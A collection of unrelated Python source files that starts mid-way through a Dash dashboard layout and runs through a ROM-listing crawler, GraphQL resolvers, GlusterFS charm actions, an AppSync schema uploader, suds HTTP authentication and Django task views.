fucked. # So, sorry, let's just use this thing for now! # In the future, the range should be calculated accordingly. "showgrid": True, "showline": True, "ticklen": 5, "ticks": "outside", "title": "Children", "type": "linear", "zeroline": False, "zerolinewidth": 4, }, ), }, ), ], className="six columns", ), ], className="row " ), # Row 4 html.Div( [ html.Div( [ ], # TO-DO: # Function ID: F-C-04 # It has to be more than 9 columns due to the shear amount of, not data, # but the text in the header of each column. I don't know if the naming # can be reduced or not, since to me, the "non-hispanic or latino" at # the end of some of the column names is just redundant. But, What do I # know about census and kids data you might wonder? So I just leave it # to you guys. Man! Have fun! className=" twelve columns", ), ], className="row ", ), html.Div( [ html.Br([]), html.Br([]), html.Br([]), ] ), # Row 5 html.Div( [ html.Div( [ html.H6( html.Strong(["Footnote"]), className="subtitle padded", ), #html.Br([]), # html.P("My brain doesn't work well when sun is about to come up... Noctis @ 5am."), ], className=" twelve columns", ), html.Div( [ html.P( "Language numbers are provided for:", ), html.Li( "Number of households speaking Spanish at home that are limited English-speaking households", ), html.Li( "Number of households speaking other non-English languages at home that are limited English-speaking households", ), # html.P( # "Working family numbers are provided for:", # ), # html.Li( # "Children living with one or two working parents may be more likely to need early care and education services.", # ), # html.Li( # "This report provides data on the number of children living in one and two parent families and the number of children who have working parents.", # ), html.P( "IECAM demographers prepared this data based on Census Bureau estimates from the Population Estimates Program and the American Community Survey (5 year).", ), # html.Li( # "Population Estimates Program", # ), # html.Li( # "American Community Survey, 5-year estimate", # ) ], className=" twelve columns" ), ], className="row ", ), # Row html.Div( [ html.Div( [ # html.H6( # ["Maybe we also need footnotes for all these data."], # className="subtitle padded", # ), ], className=" twelve columns", ) ], className="row ", ) ], className="sub_page", ), ], className="page", )
python
class Solution: def twoSum(self, nums, target): """ :type nums: List[int] :type target: int :rtype: List[int] """ num_dict = {} for index, value in enumerate(nums): if target - value in num_dict: return [num_dict[target - value], index] num_dict[value] = index
python
""" At the moment tensor will be a simple n-dimensional array, later It will be some more complex object """ from numpy import ndarray as Tensor
python
from setuptools import setup, find_packages from codecs import open from os import path __version__ = '0.1' __author__ = 'Ilya Zhivetiev' __email__ = '[email protected]' here = path.abspath(path.dirname(__file__)) with open(path.join(here, 'README.rst'), encoding='utf-8') as f: long_description = f.read() setup( name='ionex', description='', long_description=long_description, version=__version__, url='https://github.com/gnss-lab/ionex', author=__author__, author_email=__email__, license='MIT', classifiers=[ 'Development Status :: 4 - Beta', 'Intended Audience :: Science/Research', 'Intended Audience :: Developers', 'Topic :: Software Development', 'Topic :: Scientific/Engineering', 'License :: OSI Approved :: MIT License', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', 'Programming Language :: Python :: 3.7', ], keywords='ionosphere gnss tec development', packages=find_packages(exclude=['docs', 'tests']), include_package_data=True, install_requires=[], python_requires='>=3', extras_require={ 'test': [ 'pytest', 'coverage', ], }, )
python
import os from pathlib import Path from typing import Dict, Optional import numpy as np import torch from ase.units import Bohr from torch import Tensor from torch_dftd.functions.dftd3 import d3_autoang, d3_autoev, edisp from torch_dftd.functions.distance import calc_distances from torch_dftd.nn.base_dftd_module import BaseDFTDModule class DFTD3Module(BaseDFTDModule): """DFTD3Module Args: params (dict): xc-dependent parameters. alp, s6, rs6, s18, rs18. cutoff (float): cutoff distance in angstrom. Default value is 95bohr := 50 angstrom. cnthr (float): coordination number cutoff distance in angstrom. Default value is 40bohr := 21 angstrom. abc (bool): ATM 3-body interaction dtype (dtype): internal calculation is done in this precision. bidirectional (bool): calculated `edge_index` is bidirectional or not. """ def __init__( self, params: Dict[str, float], cutoff: float = 95.0 * Bohr, cnthr: float = 40.0 * Bohr, abc: bool = False, dtype=torch.float32, bidirectional: bool = False, cutoff_smoothing: str = "none", ): super(DFTD3Module, self).__init__() # relative filepath to package folder d3_filepath = str(Path(os.path.abspath(__file__)).parent / "params" / "dftd3_params.npz") d3_params = np.load(d3_filepath) c6ab = torch.tensor(d3_params["c6ab"], dtype=dtype) r0ab = torch.tensor(d3_params["r0ab"], dtype=dtype) rcov = torch.tensor(d3_params["rcov"], dtype=dtype) r2r4 = torch.tensor(d3_params["r2r4"], dtype=dtype) # (95, 95, 5, 5, 3) c0, c1, c2 for coordination number dependent c6ab term. self.register_buffer("c6ab", c6ab) self.register_buffer("r0ab", r0ab) # atom pair distance (95, 95) self.register_buffer("rcov", rcov) # atom covalent distance (95) self.register_buffer("r2r4", r2r4) # (95,) if cnthr > cutoff: print( f"WARNING: cnthr {cnthr} is larger than cutoff {cutoff}. " f"cutoff distance is used for cnthr" ) cnthr = cutoff self.params = params self.cutoff = cutoff self.cnthr = cnthr self.abc = abc self.dtype = dtype self.bidirectional = bidirectional self.cutoff_smoothing = cutoff_smoothing def calc_energy_batch( self, Z: Tensor, pos: Tensor, edge_index: Tensor, cell: Optional[Tensor] = None, pbc: Optional[Tensor] = None, shift_pos: Optional[Tensor] = None, batch: Optional[Tensor] = None, batch_edge: Optional[Tensor] = None, damping: str = "zero", ) -> Tensor: """Forward computation to calculate atomic wise dispersion energy""" shift_pos = pos.new_zeros((edge_index.size()[1], 3, 3)) if shift_pos is None else shift_pos pos_bohr = pos / d3_autoang # angstrom -> bohr if cell is None: cell_bohr: Optional[Tensor] = None else: cell_bohr = cell / d3_autoang # angstrom -> bohr shift_bohr = shift_pos / d3_autoang # angstrom -> bohr r = calc_distances(pos_bohr, edge_index, cell_bohr, shift_bohr) # E_disp (n_graphs,): Energy in eV unit E_disp = d3_autoev * edisp( Z, r, edge_index, c6ab=self.c6ab, # type:ignore r0ab=self.r0ab, # type:ignore rcov=self.rcov, # type:ignore r2r4=self.r2r4, # type:ignore params=self.params, cutoff=self.cutoff / Bohr, cnthr=self.cnthr / Bohr, batch=batch, batch_edge=batch_edge, shift_pos=shift_bohr, damping=damping, cutoff_smoothing=self.cutoff_smoothing, bidirectional=self.bidirectional, abc=self.abc, pos=pos_bohr, cell=cell_bohr, ) return E_disp
python
import urllib from engine import DownloadLink S = urllib.URLopener() class Crawler(): baseurl = 'http://romhustler.net/roms/' splittext = \ [ '''\ <p>Some titles on the list might not have a download link available. This is because these specific titles are <span class="important">ESA protected</span>. We <span class="important">cannot</span> offer any downloads for games that fall under ESA protection, thank you for understanding.</p> <ul class="special">\ ''' ] def splitter(self, link): #print(link) f = S.open(link) data = f.read() f.close() games = [] try: data = data.split(self.splittext[0])[1].split(self.splittext[1])[0] data = data.split('\n') except: data = [] try: for x in data: if x != '': listing = x.split('<li><a href=')[1] listing = listing.split('">') listing[0] = 'http://romhustler.net' + listing[0].split('"')[1] listing[1] = listing[1].split('</a></li>')[0] games.append(listing) except IndexError: games = [] return games def search(self, game, listings): games = [] for x in listings: if game.lower() in x[1].lower(): games.append(x) return games def partsplitter(self, games): urls = {'game name goes here': ['urls', 'go here']} for x in games: n = x[1].split(' part ') if n[0] not in urls: urls[n[0]] = [x[0]] elif n[0] in urls: urls[n[0]] += [x[0]] if urls['game name goes here'] == ['urls', 'go here']: del urls['game name goes here'] games = [] items = [] for x in urls: items.append(x) items.sort() for x in items: l = [] for y in urls[x]: l.append(y) games.append([l, x]) return games def __init__(self, game, system, debug=0): self.abbrs = DownloadLink.abbrs self.abbrs2 = DownloadLink.abbrs2 if system in self.abbrs.keys(): #print((self.baseurl+system.lower()+'/'+game[0].lower())) listings = self.splitter(self.baseurl+system.lower()+'/'+game[0].lower()) elif system in self.abbrs2.keys(): #print((self.baseurl+self.abbrs2[system].lower()+'/'+game[0].lower())) listings = self.splitter(self.baseurl+self.abbrs2[system].lower()+'/'+game[0].lower()) if debug == 0: games = self.search(game, listings) self.multi = 0 if system in ['3do', 'psx', 'segacd']: #games = self.partsplitter(games) self.multi = 1 games = self.partsplitter(games) self.games = games
python
import pytest pytestmark = [pytest.mark.django_db] def test_no_anon(anon): anon.get('/api/v2/notion/materials/0e5693d2173a4f77ae8106813b6e5329/', expected_status_code=401) @pytest.mark.usefixtures('unpaid_order') def test_404_for_not_purchased_materials(api, fetch_page_recursively): api.get('/api/v2/notion/materials/0e5693d2173a4f77ae8106813b6e5329/', expected_status_code=404) fetch_page_recursively.assert_not_called() @pytest.mark.usefixtures('unpaid_order') def test_ok_for_superuser(api): api.user.is_superuser = True api.user.save() api.get('/api/v2/notion/materials/0e5693d2173a4f77ae8106813b6e5329/', expected_status_code=200) @pytest.mark.usefixtures('unpaid_order') def test_ok_for_user_with_permissions(api): api.user.add_perm('notion.material.see_all_materials') api.get('/api/v2/notion/materials/0e5693d2173a4f77ae8106813b6e5329/', expected_status_code=200) @pytest.mark.usefixtures('unpaid_order') def test_superusers_do_not_fail_when_two_materials_with_the_same_id_are_present(api, mixer): api.user.add_perm('notion.material.see_all_materials') mixer.cycle(2).blend('notion.Material', page_id='0e5693d2173a4f77ae8106813b6e5329') api.get('/api/v2/notion/materials/0e5693d2173a4f77ae8106813b6e5329/', expected_status_code=200)
python
from collections import defaultdict from typing import Union from ariadne import QueryType, MutationType, ScalarType, ObjectType from flowsaber.server.database.db import DataBase from flowsaber.server.database.models import * def ch_id(data: dict) -> dict: if "_id" in data: data['id'] = data.pop('_id') elif "id" in data: data['_id'] = data.pop("id") return data def get_time_exp(input) -> dict: exp = {} before = getattr(input, 'before') after = getattr(input, 'after') if after: exp['$gt'] = after if before: exp['$lt'] = before return exp def update_notnone_exp(data: dict): # Note: does not check for list exp = {} def resolve(value, prevk=""): for k, v in value.items(): if isinstance(v, dict): resolve(v, f"{k}.") elif v is not None: exp[f'{prevk}{k}'] = v resolve(data) exp.pop("id", None) exp.pop("_id", None) return {"$set": exp} def get_field(obj: Union[BaseModel, dict], filed: str): if isinstance(obj, BaseModel): return getattr(obj, filed) else: return obj[filed] def get_resolvers(db: DataBase): assert isinstance(db, DataBase) query = QueryType() mutation = MutationType() agent = ObjectType("Agent") flow = ObjectType("Flow") task = ObjectType("Task") flowrun = ObjectType("FlowRun") timestamp_scalar = ScalarType("TimeStamp") uuid_scalar = ScalarType("UUID") json_scalar = ScalarType("JSON") @timestamp_scalar.serializer def serialize_timestamp(value: float) -> float: assert isinstance(value, float) return value @uuid_scalar.serializer def serialize_uuid(value: str) -> str: assert isinstance(value, str) return value @json_scalar.serializer def serialize_json(value: dict) -> dict: assert isinstance(value, dict) return value # query @query.field('hello') async def hello(obj, info) -> str: return "Hello!" @query.field('get_agent') async def get_agent(obj, info, input: str) -> dict: agent_id = input agent_dict = await db.agent.find_one({"_id": agent_id}) return ch_id(agent_dict) @query.field('get_agents') async def get_agents(obj, info) -> List[dict]: agents = [] async for agent_dict in db.agent.find({}): agents.append(ch_id(agent_dict)) return agents @query.field("get_flow") async def get_flow(obj, info, input: str) -> Flow: flow_id = input flow_dict = await db.flow.find_one({"_id": flow_id}) flow_dict = ch_id(flow_dict) flow = Flow(**flow_dict) return flow @query.field("get_flows") async def get_flows(obj, info, input: dict) -> List[dict]: input = GetFlowsInput(**input) exp = {} if input.id or input.name or input.labels: exp.update({ "$or": [ {'_id': {'$in': input.id}}, {"name": {"$in": input.name}}, {"labels": {"$all": input.labels}} ] }) flows = [] async for flow_dict in db.flow.find(exp): flows.append(ch_id(flow_dict)) return flows @query.field("get_taskrun") async def get_taskrun(obj, info, input: str) -> TaskRun: taskrun_id = input taskrun_dict = await db.taskrun.find_one({"_id": taskrun_id}) taskrun_dict = ch_id(taskrun_dict) taskrun = TaskRun(**taskrun_dict) return taskrun @query.field("get_taskruns") async def get_taskruns(obj, info, input: dict) -> List[dict]: input = GetTaskRunsInput(**input) exp = {} has_or_exp = input.id or input.task_id or input.flow_id if has_or_exp: exp.update({ "$or": [ {"_id": {"$in": input.id}}, {'task_id': {"$in": input.task_id}}, {"flow_id": {"$in": input.flow_id}}, ] }) if input.flowrun_id: exp.update({ "flowrun_id": {"$in": input.flowrun_id}, }) if input.agent_id: exp.update({ "agent_id": {"$in": input.agent_id}, }) if input.state_type: exp.update({ "state.state_type": {"$in": input.state_type} }) if input.before or input.after: time_exp = get_time_exp(input) exp.update({"start_time": time_exp}) taskruns = [] async for taskrun_dict in db.taskrun.find(exp): taskruns.append(ch_id(taskrun_dict)) return taskruns @query.field("get_flowrun") async def get_flowrun(obj, info, input: str) -> FlowRun: flowrun_id = input flowrun_dict = await db.flowrun.find_one({"_id": flowrun_id}) if flowrun_dict: flowrun_dict = ch_id(flowrun_dict) flowrun = FlowRun(**flowrun_dict) else: # for check_cancelling task, return a fake one flowrun = {'state': {'state_type': "Scheduled"}} return flowrun @query.field("get_flowruns") async def get_flowruns(obj, info, input: dict) -> List[dict]: input = GetFlowRunsInput(**input) exp = {} has_or_exp = input.id or input.flow_id or input.name or input.labels if has_or_exp: exp.update({ "$or": [ {"_id": {"$in": input.id}}, {"flow_id": {"$in": input.flow_id}}, {"name": {"$in": input.name}}, {"labels": {"$all": input.labels}}, ] }) if input.agent_id: exp.update({ "agent_id": {"$in": input.agent_id}, }) if input.state_type: exp.update({ "state.state_type": {"$in": input.state_type} }) if input.before or input.after: time_exp = get_time_exp(input) exp.update({"start_time": time_exp}) flowruns = [] async for flowrun_dict in db.flowrun.find(exp): flowruns.append(ch_id(flowrun_dict)) return flowruns @query.field("get_runlogs") async def get_runlogs(obj, info, input: dict) -> List[dict]: input = GetRunLogsInput(**input) exp = {} has_or_exp = input.id or input.taskrun_id or input.flowrun_id or input.agent_id if has_or_exp: exp.update({ "$or": [ {"_id": {"$in": input.id}}, {"taskrun_id": {"$in": input.taskrun_id}}, {"flowrun_id": {"$in": input.flowrun_id}}, {"agent_id": {"$in": input.agent_id}}, ], }) if input.level: exp.update({ "level": {"$in": input.level} }) if input.before or input.after: time_exp = get_time_exp(input) exp.update({"time": time_exp}) runlogs = [] async for runlog_dict in db.runlog.find(exp): runlogs.append(ch_id(runlog_dict)) return runlogs # mutation @mutation.field("hello") async def resolve_write_hello(obj, info): return SuccessPayload() @mutation.field("create_agent") async def create_agent(obj, info, input: dict): agent_input = AgentInput(**input) request = info.context['request'] address = request.client.host agent = Agent(**agent_input.dict(), address=address) await db.agent.delete_one({"_id": agent.id}) await db.agent.insert_one(ch_id(agent.dict())) return agent @mutation.field("delete_agent") async def delete_agent(obj, info, input: str): agent_id = input res = await db.agent.delete_one({"_id": agent_id}) return SuccessPayload(success=res.deleted_count == 1) @mutation.field("create_flow") async def create_flow(obj, info, input: dict): flow_input = FlowInput(**input) docs_dict = defaultdict(list) # store channels, tasks, flows for i, task_input in enumerate(flow_input.tasks): for j, ch_input in enumerate(task_input.output): task_input.output[j] = ch_input.id docs_dict['channel'].append(Channel(**ch_input.dict())) flow_input.tasks[i] = task_input.id docs_dict['task'].append(Task(**task_input.dict())) docs_dict['flow'].append(Flow(**flow_input.dict())) for collection, docs in docs_dict.items(): docs = [ch_id(doc.dict()) for doc in docs] await getattr(db, collection).insert_many(docs) return docs_dict['flow'][0] @mutation.field("delete_flow") async def delete_flow(obj, info, input: str): flow_id = input res = await db.flow.delete_one({"_id": flow_id}) return SuccessPayload(success=res.deleted_count == 1) @mutation.field("update_flowrun") async def update_flowrun(obj, info, input: dict): flowrun_input = FlowRunInput(**input) flowrun_id = flowrun_input.id flowrun = await db.flowrun.find_one({"_id": flowrun_id}) if flowrun is None: # insert a new flowrun flowrun = FlowRun(**flowrun_input.dict()) if not flowrun.start_time: flowrun.start_time = flowrun.last_heartbeat await db.flowrun.insert_one(ch_id(flowrun.dict())) # append to agent, flow 's flowruns await db.agent.update_one({"_id": flowrun.agent_id}, {"$push": {"flowruns": flowrun.id}}) await db.flow.update_one({"_id": flowrun.flow_id}, {"$push": {"flowruns": flowrun.id}}) return flowrun else: state_type = flowrun['state']['state_type'] # in cancelling state, only allow cancelled new state if state_type == "Cancelling": if flowrun_input.state and flowrun_input.state.state_type != 'Cancelled': return ch_id(flowrun) # in cancelled state, do not allow new state elif state_type == "Cancelled": return ch_id(flowrun) update_exp = update_notnone_exp(flowrun_input.dict()) await db.flowrun.update_one({'_id': flowrun_id}, update_exp) updated_flowrun = await db.flowrun.find_one({"_id": flowrun_id}) return ch_id(updated_flowrun) @mutation.field("update_taskrun") async def update_taskrun(obj, info, input: dict): taskrun_input = TaskRunInput(**input) taskrun_id = taskrun_input.id taskrun = await db.taskrun.find_one({"_id": taskrun_id}) if taskrun is None: # insert a new task run taskrun = TaskRun(**taskrun_input.dict()) if not taskrun.start_time: taskrun.start_time = taskrun.last_heartbeat await db.taskrun.insert_one(ch_id(taskrun.dict())) # append taskrun into the flowrun await db.flowrun.update_one({"_id": taskrun.flowrun_id}, {"$push": {"taskruns": taskrun.id}}) return taskrun else: update_exp = update_notnone_exp(taskrun_input.dict()) await db.taskrun.update_one({'_id': taskrun_id}, update_exp) updated_taskrun = await db.taskrun.find_one({"_id": taskrun_id}) return ch_id(updated_taskrun) @mutation.field("write_runlogs") async def write_runlogs(obj, info, input: dict): runlogs_input = RunLogsInput(**input) run_logs = [ch_id(run_log.dict()) for run_log in runlogs_input.logs] await db.runlog.insert_many(run_logs) return SuccessPayload() # @flow.field("tasks") async def resolve_tasks(obj, info) -> List[dict]: task_ids = get_field(obj, 'tasks') tasks = await db.task.find({"_id": {"$in": task_ids}}).to_list(len(task_ids)) tasks = [ch_id(task) for task in tasks] return tasks @task.field('output') async def resolve_channels(obj, info) -> List[dict]: channel_ids = get_field(obj, 'output') channels = await db.channel.find({"_id": {"$in": channel_ids}}).to_list(len(channel_ids)) channels = [ch_id(channel) for channel in channels] return channels @flow.field("flowruns") @agent.field("flowruns") async def resolve_flowruns(obj, info) -> List[dict]: flowrun_ids = get_field(obj, 'flowruns') flowruns = await db.flowrun.find({"_id": {"$in": flowrun_ids}}).to_list(len(flowrun_ids)) flowruns = [ch_id(flowrun) for flowrun in flowruns] return flowruns @flowrun.field("taskruns") async def resolve_taskruns(obj, info) -> List[dict]: taskrun_ids = get_field(obj, 'taskruns') taskruns = await db.taskrun.find({"_id": {"$in": taskrun_ids}}).to_list(len(taskrun_ids)) taskruns = [ch_id(taskrun) for taskrun in taskruns] return taskruns return locals()
python
import logging import json import sys from functools import partial import traceback logger = logging.getLogger(__name__) class QueryGetter: def __init__(self, query, **kwargs): if len(kwargs) != 0: self.query = partial(query, **kwargs) else: self.query = query def batches(self, batch_size=1000, limit=10000): for offset in range(0, limit, batch_size): yield self.query(offset=offset, limit=limit) def fetchall(self): return self.query() class DbGetter: def __init__(self, db, query, **kwargs): self.db = db if len(kwargs) != 0: self.query = partial(query, **kwargs) else: self.query = query def batches(self, batch_size=1000, limit=10000): for offset in range(0, limit, batch_size): yield self.db.execute( self.query(self.db) .offset(offset) .limit(batch_size if offset + batch_size < limit else limit - offset) ) def fetchall(self): return self.db.execute(self.query(self.db)) class DbSaver: def __init__(self, db, query, log_interval=1000, **kwargs): self.db = db self.query = query self.log_interval = log_interval self.count = 0 self.kwargs = kwargs def save(self, item): self.query(self.db, item, **self.kwargs) self.count += 1 if self.count % self.log_interval == 0: logger.info("Save item %d.", self.count) class Item: def __init__(self, item, original): self.item = item self.original = original class JsonSaver: def save(self, item): json.dump(vars(item), sys.stdout, ensure_ascii=False) def process_items(items, processor, data_saver): count = 0 for original in items: try: item = processor(original) data_saver.save(Item(item=item, original=dict(original))) count += 1 except Exception as e: logger.error(traceback.format_exc()) return count def run_batch(data_getter, processor, data_saver, batch_size=1000, limit=10000): for i, batch in enumerate(data_getter.batches(limit=limit, batch_size=batch_size)): batch = list(batch) if len(batch) == 0: break count = process_items(items=batch, processor=processor, data_saver=data_saver) logger.info("Processed %d items starting from item %d.", count, i * batch_size) def run_one_shot(data_getter, processor, data_saver): count = process_items(data_getter.fetchall(), processor, data_saver) logger.info("Processed %d items.", count)
python
""" The :mod:`ramp_database.model` defines the database structure which is used for the RAMP events. """ from .base import * # noqa from .user import * # noqa from .fold import * # noqa from .team import * # noqa from .score import * # noqa from .event import * # noqa from .problem import * # noqa from .workflow import * # noqa from .datatype import * # noqa from .submission import * # noqa
python
#!/usr/bin/python3 # Copyright 2016 Canonical Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import os import sys from charmhelpers.core import hookenv from charmhelpers.core.hookenv import action_get, action_fail, action_set from lib.gluster.lib import BitrotOption, ScrubAggression, ScrubSchedule, \ ScrubControl, GlusterOption from lib.gluster.volume import quota_list, volume_add_quota, \ volume_disable_bitrot, volume_enable_bitrot, \ volume_enable_quotas, volume_quotas_enabled, volume_remove_quota, \ volume_set_bitrot_option, volume_set_options def enable_bitrot_scan(): """ Enable bitrot scan """ vol = action_get("volume") if not vol: action_fail("volume not specified") output = volume_enable_bitrot(vol) if output.is_err(): action_fail("enable bitrot failed with error: {}".format(output.value)) def disable_bitrot_scan(): """ Disable bitrot scan """ vol = action_get("volume") if not vol: action_fail("volume not specified") output = volume_disable_bitrot(vol) if output.is_err(): action_fail("enable disable failed with error: {}".format( output.value)) def pause_bitrot_scan(): """ Pause bitrot scan """ vol = action_get("volume") option = BitrotOption.Scrub(ScrubControl.Pause) output = volume_set_bitrot_option(vol, option) if output.is_err(): action_fail( "pause bitrot scan failed with error: {}".format(output.value)) def resume_bitrot_scan(): """ Resume bitrot scan """ vol = action_get("volume") option = BitrotOption.Scrub(ScrubControl.Resume) output = volume_set_bitrot_option(vol, option) if output.is_err(): action_fail( "resume bitrot scan failed with error: {}".format(option.value)) def set_bitrot_scan_frequency(): """ Set the bitrot scan frequency """ vol = action_get("volume") frequency = action_get("frequency") option = ScrubSchedule.from_str(frequency) output = volume_set_bitrot_option(vol, BitrotOption.ScrubFrequency(option)) if output.is_err(): action_fail("set bitrot scan frequency failed with error: {}".format( output.value)) def set_bitrot_throttle(): """ Set how aggressive bitrot scanning should be """ vol = action_get("volume") throttle = action_get("throttle") option = ScrubAggression.from_str(throttle) output = volume_set_bitrot_option(vol, BitrotOption.ScrubThrottle(option)) if output.is_err(): action_fail( "set bitrot throttle failed with error: {}".format(output.value)) def enable_volume_quota(): """ Enable quotas on the volume """ # Gather our action parameters volume = action_get("volume") usage_limit = action_get("usage-limit") parsed_usage_limit = int(usage_limit) path = action_get("path") # Turn quotas on if not already enabled quotas_enabled = volume_quotas_enabled(volume) if not quotas_enabled: output = volume_enable_quotas(volume) if output.is_err(): action_fail("Enable quotas failed: {}".format(output.value)) output = volume_add_quota(volume, path, parsed_usage_limit) if output.is_err(): action_fail("Add quota failed: {}".format(output.value)) def disable_volume_quota(): """ Disable quotas on the volume """ volume = action_get("volume") path = action_get("path") quotas_enabled = volume_quotas_enabled(volume) if quotas_enabled: output = volume_remove_quota(volume, path) if output.is_err(): # Notify the user of the failure and then return the error # up the stack action_fail( "remove quota failed with error: {}".format(output.value)) def list_volume_quotas(): """ List quotas on the volume """ volume = action_get("volume") quotas_enabled = volume_quotas_enabled(volume) if quotas_enabled: quotas = quota_list(volume) if quotas.is_err(): action_fail( "Failed to get volume quotas: {}".format(quotas.value)) quota_strings = [] for quota in quotas.value: quota_string = "path:{} limit:{} used:{}".format( quota.path, quota.hard_limit, quota.used) quota_strings.append(quota_string) action_set({"quotas": "\n".join(quota_strings)}) def set_volume_options(): """ Set one or more options on the volume at once """ volume = action_get("volume") # Gather all of the action parameters up at once. We don't know what # the user wants to change. options = action_get() settings = [] for (key, value) in options: if key != "volume": settings.append(GlusterOption(key, value)) else: volume = value volume_set_options(volume, settings) # Actions to function mapping, to allow for illegal python action names that # can map to a python function. ACTIONS = { "create-volume-quota": enable_volume_quota, "delete-volume-quota": disable_volume_quota, "disable-bitrot-scan": disable_bitrot_scan, "enable-bitrot-scan": enable_bitrot_scan, "list-volume-quotas": list_volume_quotas, "pause-bitrot-scan": pause_bitrot_scan, "resume-bitrot-scan": resume_bitrot_scan, "set-bitrot-scan-frequency": set_bitrot_scan_frequency, "set-bitrot-throttle": set_bitrot_throttle, "set-volume-options": set_volume_options, } def main(args): action_name = os.path.basename(args[0]) try: action = ACTIONS[action_name] except KeyError: return "Action %s undefined" % action_name else: try: action(args) except Exception as e: hookenv.action_fail(str(e)) if __name__ == "__main__": sys.exit(main(sys.argv))
python
# -*- coding: utf-8 -*- ##### Secuencias Tupla = (1, 2, 3) List = [1, 2, 3] String = '1, 2, 3' # Los strings, como las tuplas son inmutables ## INDEXING - Buscar la posición de un valor en una secuencia a = List[2] b = Tupla[2] c = String[2] ## Acceder al ultimo elemento de list List[2] = List[len(List)-1] = List[-1] ## SLICING other_list = [1, 2, 3, 4, 5, 6, 7, 8, 9] sliced_list = other_list[:5] sliced_list_2 = other_list[1:8:2] # Esto me slicea del index 1 al 8 sin inclujir a este último y con un step de 2 ## METHODS - Son funciones asociadas al tipo de dato (list, str, etc) para strings: .split
python
from __future__ import print_function import argparse import atexit import boto3 import logging import sys import time if sys.argv[0].endswith("__main__.py"): sys.argv[0] = "python -m appsync_schema_uploader" @atexit.register def app_exit(): logging.getLogger().info("Terminating") def _parse_command_line_arguments(): argv_parser = argparse.ArgumentParser() argv_parser.add_argument( '--aws-access-key-id', help='The AWS IAM Access Key ID to use' ) argv_parser.add_argument( '--aws-secret-access-key', help='The AWS IAM Secret Access Key to use' ) argv_parser.add_argument( '--aws-region', help='The AWS Region of the AppSync API to update' ) argv_parser.add_argument( '--api-id', help='The API Id of the AppSync API to update' ) argv_parser.add_argument( '--schema', help='The schema file to upload' ) return argv_parser.parse_args() def main(): try: args = _parse_command_line_arguments() # set AWS logging level logging.getLogger('botocore').setLevel(logging.ERROR) logging.getLogger('boto3').setLevel(logging.ERROR) appsync = boto3.client( 'appsync', aws_access_key_id=args.aws_access_key_id, aws_secret_access_key=args.aws_secret_access_key, region_name=args.aws_region ) with open(args.schema) as schema: print('Uploading schema', args.schema) response = appsync.start_schema_creation( apiId=args.api_id, definition=schema.read() ) while response['status'] not in ('ACTIVE', 'SUCCESS'): if response['status'] == 'FAILED': raise Exception(response["details"]) print('Waiting for upload completion') time.sleep(2) response = appsync.get_schema_creation_status( apiId=args.api_id ) print('Upload complete') except KeyboardInterrupt: print('Service interrupted', file=sys.stderr) except Exception as e: print('Upload FAILED:', e.message, file=sys.stderr) print('') raise e if __name__ == '__main__': main()
python
# This program is free software; you can redistribute it and/or modify # it under the terms of the (LGPL) GNU Lesser General Public License as # published by the Free Software Foundation; either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Library Lesser General Public License for more details at # ( http://www.gnu.org/licenses/lgpl.html ). # # You should have received a copy of the GNU Lesser General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. # written by: Jeff Ortel ( [email protected] ) """ Contains classes for basic HTTP (authenticated) transport implementations. """ import urllib2 as u2 from suds.transport import * from suds.transport.http import HttpTransport from logging import getLogger log = getLogger(__name__) class HttpAuthenticated(HttpTransport): """ Provides basic http authentication that follows the RFC-2617 specification. As defined by specifications, credentials are provided to the server upon request (HTTP/1.0 401 Authorization Required) by the server only. @ivar pm: The password manager. @ivar handler: The authentication handler. """ def __init__(self, **kwargs): """ @param kwargs: Keyword arguments. - B{proxy} - An http proxy to be specified on requests. The proxy is defined as {protocol:proxy,} - type: I{dict} - default: {} - B{timeout} - Set the url open timeout (seconds). - type: I{float} - default: 90 - B{username} - The username used for http authentication. - type: I{str} - default: None - B{password} - The password used for http authentication. - type: I{str} - default: None """ HttpTransport.__init__(self, **kwargs) self.pm = u2.HTTPPasswordMgrWithDefaultRealm() def open(self, request): self.addcredentials(request) return HttpTransport.open(self, request) def send(self, request): self.addcredentials(request) return HttpTransport.send(self, request) def addcredentials(self, request): credentials = self.credentials() if not (None in credentials): u = credentials[0] p = credentials[1] self.pm.add_password(None, request.url, u, p) def credentials(self): return (self.options.username, self.options.password) def u2handlers(self): handlers = HttpTransport.u2handlers(self) handlers.append(u2.HTTPBasicAuthHandler(self.pm)) return handlers class WindowsHttpAuthenticated(HttpAuthenticated): """ Provides Windows (NTLM) http authentication. @ivar pm: The password manager. @ivar handler: The authentication handler. @author: Christopher Bess """ def u2handlers(self): # try to import ntlm support try: from ntlm import HTTPNtlmAuthHandler except ImportError: raise Exception("Cannot import python-ntlm module") handlers = HttpTransport.u2handlers(self) handlers.append(HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(self.pm)) return handlers
python
__author__ = 'Su Lei' def array_diff(c, d): return [x for x in c if x not in d] a = [1, 2, 3] b = [1, 2] print array_diff(a, b)
python
from django.shortcuts import render, redirect from django.http import HttpResponse from django.contrib.auth.mixins import LoginRequiredMixin from django.views.generic import ListView, DetailView, UpdateView, DeleteView, CreateView,TemplateView from django.utils import timezone from django.contrib.auth.decorators import login_required from .models import Task from .models import Lecturer from django.db.models import Q # @login_required def home(request): return render(request, 'task/home.html') class TaskListView(LoginRequiredMixin, ListView): model = Task context_object_name = 'tasks' class TaskDetailView(LoginRequiredMixin, DetailView): model = Task context_object_name = 'task' class TaskUpdateView(LoginRequiredMixin, UpdateView): model = Task fields = ['task_name','task_desc'] success_url = '/task_list' extra_context = { 'title': 'Edit Task' } def get_context_data(self, *args, **kwargs): kwargs.update(self.extra_context) return super().get_context_data(*args, **kwargs) class TaskDeleteView(LoginRequiredMixin, DeleteView): model = Task context_object_name = 'task' success_url = '/task_list' class TaskCreateView(LoginRequiredMixin, CreateView): model = Task fields = ['task_name','task_desc'] success_url = '/task_list' extra_context = { 'title': 'Create Task' } 